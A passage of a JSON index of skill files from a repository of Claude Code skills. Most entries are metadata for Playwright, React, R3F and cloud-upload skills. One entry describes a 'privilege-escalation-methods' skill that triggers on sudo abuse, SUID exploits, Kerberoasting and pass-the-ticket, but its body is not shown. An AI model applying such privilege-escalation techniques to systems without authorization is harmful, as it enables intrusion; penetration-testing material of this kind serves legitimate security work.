-->","isInternal":false,"tokens":6759,"sizeBytes":28960},{"name":"mobile-and-responsive.md","path":"skills/playwright/core/mobile-and-responsive.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/mobile-and-responsive.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fmobile-and-responsive.md -->","isInternal":false,"tokens":12079,"sizeBytes":50314},{"name":"multi-context-and-popups.md","path":"skills/playwright/core/multi-context-and-popups.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/multi-context-and-popups.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fmulti-context-and-popups.md -->","isInternal":false,"tokens":4969,"sizeBytes":22883},{"name":"multi-user-and-collaboration.md","path":"skills/playwright/core/multi-user-and-collaboration.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/multi-user-and-collaboration.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fmulti-user-and-collaboration.md -->","isInternal":false,"tokens":4474,"sizeBytes":20506},{"name":"network-mocking.md","path":"skills/playwright/core/network-mocking.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/network-mocking.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fnetwork-mocking.md -->","isInternal":false,"tokens":10684,"sizeBytes":45898},{"name":"nextjs.md","path":"skills/playwright/core/nextjs.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/nextjs.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fnextjs.md -->","isInternal":false,"tokens":8318,"sizeBytes":36980},{"name":"performance-testing.md","path":"skills/playwright/core/performance-testing.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/performance-testing.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fperformance-testing.md -->","isInternal":false,"tokens":5518,"sizeBytes":23537},{"name":"react.md","path":"skills/playwright/core/react.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/react.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Freact.md -->","isInternal":false,"tokens":9125,"sizeBytes":39517},{"name":"search-and-filter.md","path":"skills/playwright/core/search-and-filter.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/search-and-filter.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fsearch-and-filter.md -->","isInternal":false,"tokens":10786,"sizeBytes":44196},{"name":"security-testing.md","path":"skills/playwright/core/security-testing.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/security-testing.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fsecurity-testing.md -->","isInternal":false,"tokens":5587,"sizeBytes":25787},{"name":"service-workers-and-pwa.md","path":"skills/playwright/core/service-workers-and-pwa.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/service-workers-and-pwa.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fservice-workers-and-pwa.md -->","isInternal":false,"tokens":4310,"sizeBytes":20825},{"name":"SKILL.md","path":"skills/playwright/core/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/SKILL.md","title":"playwright-core","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2FSKILL.md -->","frontmatter":{"name":"playwright-core","description":"Battle-tested Playwright patterns for E2E, API, component, visual, accessibility, and security testing. Covers locators, assertions, fixtures, network mocking, auth flows, debugging, and framework recipes for React, Next.js, Vue, and Angular. TypeScript and JavaScript."},"isInternal":false,"tokens":1451,"sizeBytes":7796},{"name":"test-architecture.md","path":"skills/playwright/core/test-architecture.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/test-architecture.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ftest-architecture.md -->","isInternal":false,"tokens":5491,"sizeBytes":25090},{"name":"test-data-management.md","path":"skills/playwright/core/test-data-management.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/test-data-management.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ftest-data-management.md -->","isInternal":false,"tokens":8432,"sizeBytes":36538},{"name":"test-organization.md","path":"skills/playwright/core/test-organization.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/test-organization.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ftest-organization.md -->","isInternal":false,"tokens":7453,"sizeBytes":31279},{"name":"third-party-integrations.md","path":"skills/playwright/core/third-party-integrations.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/third-party-integrations.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fthird-party-integrations.md -->","isInternal":false,"tokens":6943,"sizeBytes":31081},{"name":"visual-regression.md","path":"skills/playwright/core/visual-regression.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/visual-regression.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fvisual-regression.md -->","isInternal":false,"tokens":7827,"sizeBytes":36295},{"name":"vue.md","path":"skills/playwright/core/vue.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/vue.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fvue.md -->","isInternal":false,"tokens":9335,"sizeBytes":39496},{"name":"websockets-and-realtime.md","path":"skills/playwright/core/websockets-and-realtime.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/websockets-and-realtime.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fwebsockets-and-realtime.md -->","isInternal":false,"tokens":4692,"sizeBytes":21331},{"name":"when-to-mock.md","path":"skills/playwright/core/when-to-mock.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/when-to-mock.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fwhen-to-mock.md -->","isInternal":false,"tokens":6387,"sizeBytes":28648},{"name":"from-cypress.md","path":"skills/playwright/migration/from-cypress.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/migration/from-cypress.md","title":"Migration Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fmigration%2Ffrom-cypress.md -->","isInternal":false,"tokens":10759,"sizeBytes":48530},{"name":"from-selenium.md","path":"skills/playwright/migration/from-selenium.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/migration/from-selenium.md","title":"Migration Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fmigration%2Ffrom-selenium.md -->","isInternal":false,"tokens":9298,"sizeBytes":46125},{"name":"SKILL.md","path":"skills/playwright/migration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/migration/SKILL.md","title":"playwright-migration","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fmigration%2FSKILL.md -->","frontmatter":{"name":"playwright-migration","description":"Step-by-step migration guides for moving to Playwright from Cypress or Selenium/WebDriver — command mappings, architecture changes, and incremental adoption strategies."},"isInternal":false,"tokens":135,"sizeBytes":751},{"name":"advanced-workflows.md","path":"skills/playwright/playwright-cli/advanced-workflows.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/playwright-cli/advanced-workflows.md","title":"Playwright-cli Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fadvanced-workflows.md -->","isInternal":false,"tokens":4626,"sizeBytes":18762},{"name":"core-commands.md","path":"skills/playwright/playwright-cli/core-commands.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/playwright-cli/core-commands.md","title":"Playwright-cli Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fcore-commands.md -->","isInternal":false,"tokens":2440,"sizeBytes":10821},{"name":"device-emulation.md","path":"skills/playwright/playwright-cli/device-emulation.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/playwright-cli/device-emulation.md","title":"Playwright-cli Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fdevice-emulation.md -->","isInternal":false,"tokens":3521,"sizeBytes":13427},{"name":"request-mocking.md","path":"skills/playwright/playwright-cli/request-mocking.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/playwright-cli/request-mocking.md","title":"Playwright-cli Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Frequest-mocking.md -->","isInternal":false,"tokens":2542,"sizeBytes":10669},{"name":"running-custom-code.md","path":"skills/playwright/playwright-cli/running-custom-code.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/playwright-cli/running-custom-code.md","title":"Playwright-cli Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Frunning-custom-code.md -->","isInternal":false,"tokens":3594,"sizeBytes":15126},{"name":"screenshots-and-media.md","path":"skills/playwright/playwright-cli/screenshots-and-media.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/playwright-cli/screenshots-and-media.md","title":"Playwright-cli Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fscreenshots-and-media.md -->","isInternal":false,"tokens":2587,"sizeBytes":10590},{"name":"session-management.md","path":"skills/playwright/playwright-cli/session-management.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/playwright-cli/session-management.md","title":"Playwright-cli Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fsession-management.md -->","isInternal":false,"tokens":2348,"sizeBytes":9750},{"name":"SKILL.md","path":"skills/playwright/playwright-cli/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/playwright-cli/SKILL.md","title":"playwright-cli","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2FSKILL.md -->","frontmatter":{"name":"playwright-cli","description":"Automates browser interactions for web testing, form filling, screenshots, and data extraction using playwright-cli. Use when the user needs to navigate websites, interact with web pages, fill forms, take screenshots, test web applications, extract information from web pages, mock network requests, manage browser sessions, or generate test code.","allowed-tools":"Bash(playwright-cli:*)","allowedTools":["Bash(playwright-cli:*)"]},"allowedTools":["Bash(playwright-cli:*)"],"isInternal":false,"tokens":1970,"sizeBytes":9519},{"name":"storage-and-auth.md","path":"skills/playwright/playwright-cli/storage-and-auth.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/playwright-cli/storage-and-auth.md","title":"Playwright-cli Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Fstorage-and-auth.md -->","isInternal":false,"tokens":2705,"sizeBytes":11473},{"name":"test-generation.md","path":"skills/playwright/playwright-cli/test-generation.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/playwright-cli/test-generation.md","title":"Playwright-cli Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Ftest-generation.md -->","isInternal":false,"tokens":2718,"sizeBytes":11354},{"name":"tracing-and-debugging.md","path":"skills/playwright/playwright-cli/tracing-and-debugging.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/playwright-cli/tracing-and-debugging.md","title":"Playwright-cli Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fplaywright-cli%2Ftracing-and-debugging.md -->","isInternal":false,"tokens":2848,"sizeBytes":12412},{"name":"page-object-model.md","path":"skills/playwright/pom/page-object-model.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/pom/page-object-model.md","title":"Pom Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fpom%2Fpage-object-model.md -->","isInternal":false,"tokens":6544,"sizeBytes":29426},{"name":"pom-vs-fixtures-vs-helpers.md","path":"skills/playwright/pom/pom-vs-fixtures-vs-helpers.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/pom/pom-vs-fixtures-vs-helpers.md","title":"Pom Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fpom%2Fpom-vs-fixtures-vs-helpers.md -->","isInternal":false,"tokens":7543,"sizeBytes":32993},{"name":"SKILL.md","path":"skills/playwright/pom/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/pom/SKILL.md","title":"playwright-pom","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fpom%2FSKILL.md -->","frontmatter":{"name":"playwright-pom","description":"Page Object Model patterns for Playwright — when to use POM, how to structure page objects, and when fixtures or helpers are a better fit."},"isInternal":false,"tokens":158,"sizeBytes":851},{"name":"SKILL.md","path":"skills/playwright/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/SKILL.md","title":"playwright-skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2FSKILL.md -->","frontmatter":{"name":"playwright-skill","description":"Battle-tested Playwright patterns for E2E, API, component, visual, accessibility, and security testing. Covers locators, fixtures, POM, network mocking, auth flows, debugging, CI/CD (GitHub Actions, GitLab, CircleCI, Azure, Jenkins), framework recipes (React, Next.js, Vue, Angular), and migration guides from Cypress/Selenium. TypeScript and JavaScript."},"isInternal":false,"tokens":2228,"sizeBytes":12090},{"name":"SKILL.md","path":"skills/privilege-escalation-methods/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/privilege-escalation-methods/SKILL.md","title":"privilege-escalation-methods","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fprivilege-escalation-methods%2FSKILL.md -->","frontmatter":{"name":"privilege-escalation-methods","description":"This skill should be used when the user asks to \"escalate privileges\", \"get root access\", \"become administrator\", \"privesc techniques\", \"abuse sudo\", \"exploit SUID binaries\", \"Kerberoasting\", \"pass-the-ticket\", \"token impersonation\", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":2296,"sizeBytes":8115},{"name":"SKILL.md","path":"skills/project-sizing-guide/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/project-sizing-guide/SKILL.md","title":"project-sizing-guide","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fproject-sizing-guide%2FSKILL.md -->","frontmatter":{"name":"project-sizing-guide","description":"Software project effort estimation assistant. Outputs three-point estimates (optimistic/most-likely/pessimistic values with confidence intervals), T-shirt sizes, or Function Point Analysis (FPA) counts. Triggered when users ask 'how long will this feature take,' need to assess project workload, perform PERT estimation, T-shirt sizing, FPA, sprint planning, or quote-based effort breakdowns.","license":"MIT"},"isInternal":false,"tokens":3116,"sizeBytes":12372},{"name":"package.json","path":"skills/r2-upload/package.json","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r2-upload/package.json","title":"r2-upload","category":"anthropic-skill","format":"json","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2Fpackage.json -->","frontmatter":{"name":"r2-upload","version":"1.0.0","description":"Upload files to Cloudflare R2, AWS S3, or any S3-compatible storage and generate secure presigned download links with configurable expiration","main":"dist/index.js","type":"module","scripts":{"build":"tsc","dev":"tsx src/index.ts","start":"node dist/index.js","onboard":"tsx src/onboard.ts"},"keywords":["r2","s3","cloudflare","storage","mcp","clawdbot","upload","presigned-url"],"author":"ClawdBot Community","license":"MIT","repository":{"type":"git","url":"https://github.com/clawdbot/clawdhub-skills"},"homepage":"https://clawdhub.com/skills/r2-upload","dependencies":{"@aws-sdk/client-s3":"^3.699.0","@aws-sdk/s3-request-presigner":"^3.699.0","@modelcontextprotocol/sdk":"^1.0.4","js-yaml":"^4.1.0","mime-types":"^2.1.35"},"devDependencies":{"@types/js-yaml":"^4.0.9","@types/mime-types":"^2.1.4","@types/node":"^22.10.5","tsx":"^4.19.2","typescript":"^5.7.3"}},"isInternal":false,"tokens":374,"sizeBytes":1089},{"name":"README.md","path":"skills/r2-upload/README.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r2-upload/README.md","title":"R2-upload Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2FREADME.md -->","isInternal":false,"tokens":730,"sizeBytes":3010},{"name":"SECURITY.md","path":"skills/r2-upload/SECURITY.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r2-upload/SECURITY.md","title":"R2-upload Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2FSECURITY.md -->","isInternal":false,"tokens":1217,"sizeBytes":4867},{"name":"SKILL.md","path":"skills/r2-upload/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r2-upload/SKILL.md","title":"r2-upload","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2FSKILL.md -->","frontmatter":{"name":"r2-upload","description":"Upload files to Cloudflare R2, AWS S3, or any S3-compatible storage (like MinIO) and generate secure, time-limited presigned download links with configurable expiration, typically set to 5 minutes. Use when the user needs to upload a file to cloud storage and get a shareable link, or mentions R2, S3, presigned URLs, temporary links, or file uploads with expiration.","summary":"TypeScript-based MCP skill for uploading files to cloud storage (R2, S3, MinIO) with secure, temporary download links. Features multi-bucket support, interactive onboarding, and 5-minute default expiration."},"isInternal":false,"tokens":914,"sizeBytes":3523},{"name":"tsconfig.json","path":"skills/r2-upload/tsconfig.json","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r2-upload/tsconfig.json","title":"R2-upload Skill","category":"anthropic-skill","format":"json","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr2-upload%2Ftsconfig.json -->","frontmatter":{"compilerOptions":{"target":"ES2022","module":"ESNext","lib":["ES2022"],"moduleResolution":"bundler","outDir":"./dist","rootDir":"./src","strict":true,"esModuleInterop":true,"skipLibCheck":true,"forceConsistentCasingInFileNames":true,"resolveJsonModule":true,"declaration":true},"include":["src/**/*"],"exclude":["node_modules","dist"]},"isInternal":false,"tokens":129,"sizeBytes":427},{"name":"SKILL.md","path":"skills/r3f-animation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r3f-animation/SKILL.md","title":"r3f-animation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-animation%2FSKILL.md -->","frontmatter":{"name":"r3f-animation","description":"React Three Fiber animation - useFrame, useAnimations, spring physics, keyframes. Use when animating objects, playing GLTF animations, creating procedural motion, or implementing physics-based movement."},"isInternal":false,"tokens":5871,"sizeBytes":22004},{"name":"_sections.md","path":"skills/r3f-best-practices/rules/_sections.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r3f-best-practices/rules/_sections.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2F_sections.md -->","isInternal":false,"tokens":546,"sizeBytes":1990},{"name":"drei-use-gltf.md","path":"skills/r3f-best-practices/rules/drei-use-gltf.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r3f-best-practices/rules/drei-use-gltf.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fdrei-use-gltf.md -->","isInternal":false,"tokens":824,"sizeBytes":3052},{"name":"frame-delta-time.md","path":"skills/r3f-best-practices/rules/frame-delta-time.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r3f-best-practices/rules/frame-delta-time.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fframe-delta-time.md -->","isInternal":false,"tokens":717,"sizeBytes":2746},{"name":"loading-suspense.md","path":"skills/r3f-best-practices/rules/loading-suspense.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r3f-best-practices/rules/loading-suspense.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Floading-suspense.md -->","isInternal":false,"tokens":934,"sizeBytes":3732},{"name":"perf-never-set-state-in-useframe.md","path":"skills/r3f-best-practices/rules/perf-never-set-state-in-useframe.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r3f-best-practices/rules/perf-never-set-state-in-useframe.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fperf-never-set-state-in-useframe.md -->","isInternal":false,"tokens":698,"sizeBytes":2624},{"name":"perf-r3f-perf.md","path":"skills/r3f-best-practices/rules/perf-r3f-perf.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r3f-best-practices/rules/perf-r3f-perf.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fperf-r3f-perf.md -->","isInternal":false,"tokens":512,"sizeBytes":1961},{"name":"perf-visibility-toggle.md","path":"skills/r3f-best-practices/rules/perf-visibility-toggle.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r3f-best-practices/rules/perf-visibility-toggle.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fperf-visibility-toggle.md -->","isInternal":false,"tokens":474,"sizeBytes":1950},{"name":"perf-zustand-selectors.md","path":"skills/r3f-best-practices/rules/perf-zustand-selectors.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r3f-best-practices/rules/perf-zustand-selectors.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2Frules%2Fperf-zustand-selectors.md -->","isInternal":false,"tokens":793,"sizeBytes":3089},{"name":"SKILL.md","path":"skills/r3f-best-practices/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/r3f-best-practices/SKILL.md","title":"r3f-best-practices","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fr3f-best-practices%2FSKILL.md -->","frontmatter":{"name":"r3f-best-practices","description":"React Three Fiber (R3F) and Poimandres ecosystem best practices. Use when writing, reviewing, or optimizing R3F code. Triggers on tasks involving @react-three/fiber, @react-three/drei, zustand, @react-three/postprocessing, @react-three/rapier, or leva.","license":"MIT","metadata":{"author":"three-agent-skills","version":"1.1.0"}},"isInternal":false,"tokens":2194,"sizeBytes":8128},{"name":"AGENTS.md","path":"skills/react-best-practices/AGENTS.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/AGENTS.md","title":"React-best-practices Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2FAGENTS.md -->","isInternal":false,"tokens":11971,"sizeBytes":50070},{"name":"metadata.json","path":"skills/react-best-practices/metadata.json","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/metadata.json","title":"React-best-practices Skill","category":"anthropic-skill","format":"json","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Fmetadata.json -->","frontmatter":{"version":"1.0.0","organization":"Vercel Engineering","date":"January 2026","abstract":"Comprehensive performance optimization guide for React and Next.js applications, designed for AI agents and LLMs. Contains 40+ rules across 8 categories, prioritized by impact from critical (eliminating waterfalls, reducing bundle size) to incremental (advanced patterns). Each rule includes detailed explanations, real-world examples comparing incorrect vs. correct implementations, and specific impact metrics to guide automated refactoring and code generation.","references":["https://react.dev","https://nextjs.org","https://swr.vercel.app","https://github.com/shuding/better-all","https://github.com/isaacs/node-lru-cache","https://vercel.com/blog/how-we-optimized-package-imports-in-next-js","https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast"]},"isInternal":false,"tokens":217,"sizeBytes":921},{"name":"README.md","path":"skills/react-best-practices/README.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/README.md","title":"React-best-practices Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2FREADME.md -->","isInternal":false,"tokens":852,"sizeBytes":3369},{"name":"_sections.md","path":"skills/react-best-practices/rules/_sections.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/_sections.md","title":"Rules 